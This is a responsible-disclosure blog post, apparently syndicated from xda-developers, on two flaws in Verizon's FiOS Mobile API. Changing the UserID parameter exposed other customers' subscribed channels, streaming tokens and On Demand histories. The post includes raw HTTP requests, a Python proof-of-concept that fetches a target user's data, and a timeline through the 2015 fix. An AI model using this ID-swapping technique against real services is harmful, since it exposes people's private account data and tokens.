After recently finding a critical vulnerability in Verizon’s My FiOS app, I thought it would be worth looking into their other apps available to customers. The FiOS Mobile app allows users to watch subscribed TV channel offerings on their mobile devices, as well as control their DVR, view On Demand histories, etc. Shortly after loading the app and reviewing the web requests/responses, I identified two vulnerabilities that exposed the private information of customers. This included the ability to view any customer’s subscribed channels as well as On Demand purchase histories.
After logging in, a user’s subscribed channels are fetched, among other data, in order to be used throughout the app.
That initial request looked like this:
POST http://ift.tt/1JHw014 HTTP/1.1
Cookie: dotcomsid=***REMOVED***
Content-Type: application/x-www-form-urlencoded
Content-Length: 235
Host: www.verizon.com
Connection: Keep-Alive
DeviceId=***REMOVED***&DeviceTypeId=AndroidPhone&AppVersion=3.1&Token=***REMOVED***&lang=en&country=US&AppName=FiOSMobile&OSVersion=19&DeviceModel=SCH-I545&UserID=rwestergren05&RegionID=
The response is below:
{
"StatusCode": "0",
"Reason": "SUCCESS",
"AccessToken": "***REMOVED***",
"DeviceType": "Android Phone",
"DeviceId": "***REMOVED***",
"UserId": "rwestergren05",
"EPGRegion": "3411",
"ZipCode": "***REMOVED***",
"FipsCode": "34_015",
"KeyPollInterval": 30,
"EASTimeSlot": 2,
"EASUrl": "http://ift.tt/1G6no54",
"BootStrapUrl": "http://ift.tt/1JHw016",
"MasterPlaylistURL": "",
"VZ-Token": "***REMOVED***",
"SubscribedChannels": "100|1084|***REMOVED***",
"SessionTimeout": "1106956098",
"IsDeviceInHome": "false",
"ConfigOverride": "true",
"IsNewEULA": "true",
"TZOffset": "-300"
}
Similar to my previous Verizon disclosure, the request included a direct reference to my username, UserID=rwestergren05 , despite my active session already being identified by the dotcomsid cookie. As suspected, swapping my User ID with a family member’s returned his subscribed channels. Also interesting, the response included two tokens that seemed to be used for authentication elsewhere in the app. After some additional research, these tokens appeared to have been used to authenticate when streaming video. While I suspected these tokens could have been leveraged by an attacker to watch TV subscriptions to which they did not otherwise have access, I did not attempt to confirm it.
Reviewing the requests as I interacted with the rest of the app, I noticed another possible weakness: similar to the previous pattern, a user’s ID is specified in the below request to populate his history of purchased/rented On Demand offerings.
POST http://ift.tt/1G6nqdr HTTP/1.1
VZ_SSO_COOKIE: dotcomsid=***REMOVED***
Content-Length: 175
Content-Type: application/x-www-form-urlencoded
Host: www.verizon.com
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
DeviceId=***REMOVED***&DeviceTypeId=AndroidPhone&RequestType=R&UserID=vze1bb7b9&PageNumber=1&compver=1.0&Sig=***REMOVED***
The response is below:
{
"StatusCode": "0",
"Reason": "Success",
"ProgramInfoFlags": [],
"OtherInfoFlags": [],
"CountMyPurchases": "0",
"MyPurchasesImg": null,
"MyPurchasesUrl": null,
"CountMyRentals": "0",
"MyRentalsImg": "",
"MyRentalsUrl": "",
"CountMyBookMarks": "0",
"MyBookMarksImg": "",
"MyBookMarksUrl": "",
"Rentals": []
}
Though I have not made any On Demand rentals, I was able to confirm the vulnerability by substituting the UserID value again. This means an attacker would have been able to view the On Demand purchase histories of any customer. I then wrote a proof-of-concept to demonstrate the issue.
import requests
import json
from urllib import urlencode
# Valid FiOS TV credentials required
username = ""
password = ""
# These don't seem to change, so using for PoC
token = "***REMOVED***"
device_id = 0
# Fetch FiOS TV service info for this target username
targetUsername = "rwestergren05"
def do_login():
s = requests.Session()
url = "http://ift.tt/1JHw01a"
payload = "aamAuth=Y&IDToken1=%s&minimalView=Y" % username
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "Keep-Alive",
"User-Agent": None,
"Accept-Encoding": None,
"Accept": None
}
r = s.post(url=url, data=payload, allow_redirects=False, headers=headers,
proxies=proxies, verify=False)
p = urlencode({"IDToken1": password})
payload = p + "&minimalView=Y&aamAuth=Y&clientId=fiosmobile&goto=https%3A%2F%2Fauth.verizon." \
"com%2Fsso%2Fhtml%2Flanding.html&showzipcode=null&postalcode=&RemMe=on&recaptcha_challenge_field=&" \
"recaptcha_response_field="
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
url = "http://ift.tt/1G6no5b"
r2 = s.post(url=url, data=payload, headers=headers, allow_redirects=False,
proxies=proxies, verify=False)
if not (s.cookies.get("dotcomsid")):
raise Exception("Error logging in")
else:
return s
s = do_login()
# Get FiOS subscription info
url = "http://ift.tt/1JHw2Gc"
data = "DeviceId=%d&DeviceTypeId=AndroidPhone&AppVersion=3.5&Token=%s&lang=en&country=US&AppName=FiOSMobile&OSVersion=19&DeviceModel=" \
"SCH-I545&UserID=%s&RegionID=92094" % (device_id, token, targetUsername)
headers = {
"User-Agent": None,
"Accept-Encoding": None,
"Accept": None,
"Content-Type": "application/x-www-form-urlencoded",
}
r = s.post(url=url, data=data, proxies=proxies, verify=False, headers=headers)
# AccessToken, VZ-Token, and subscribed channels are available
print json.dumps(r.json(), sort_keys=True,
indent=4, separators=(',', ': '))
The script logs a user in to the Verizon web services and uses the valid session to exploit the first vulnerability by fetching the user’s subscribed channels.
Being that these vulnerabilities posed a significant privacy issue for customers, I immediately contacted Verizon’s Corporate Security team. I reported the two issues using the above PoC along with the example web request of the 2nd vulnerability that exposed On Demand purchase histories. Since we already had a relationship as a result of my prior vulnerability report, they assigned me a direct point of contact who kept me mostly up-to-date on their assessment and remediation of the vulnerabilities.
Disclosure Timeline
2015-03-04: Initial report sent to Verizon Corporate Security
2015-03-05: Response received, dev teams are assessing issues
2015-03-06: Call with point of contact RE: general research inquiries, e.g. how vulns were discovered
2015-03-11: 2nd issue (On Demand purchase histories) confirmed patched
2015-03-16: I follow-up on 1st vuln, no updates available
2015-03-20: Received follow-up email, fix scheduled for release at EOM
2015-04-01: Followed up on resolution, fix for 1st issue moved to 2015-04-07. Two additional weeks needed to update client Android apps, after which the remaining vulnerable API will be decommissioned
2015-04-27: Followed up again on resolution timeline
2015-04-30: Response received indicating client software upgrades were still taking place, fix is delayed again
2015-05-06: Response received delaying decommission date to 2015-05-12
2015-05-13: Vulnerability resolution confirmed
A few weeks following the vulnerability report, Verizon established a formal process for reporting security issues. Again, Verizon’s Corporate Security team was extremely appreciative of the report and communicated this to me multiple times throughout the disclosure process.
The post Multiple Vulnerabilities in Verizon’s FiOS Mobile API Exposing Customer Information appeared first on xda-developers.
from xda-developers http://ift.tt/1JHvFvs
via IFTTT
from XDA http://ift.tt/1PiUMeJ
via IFTTT
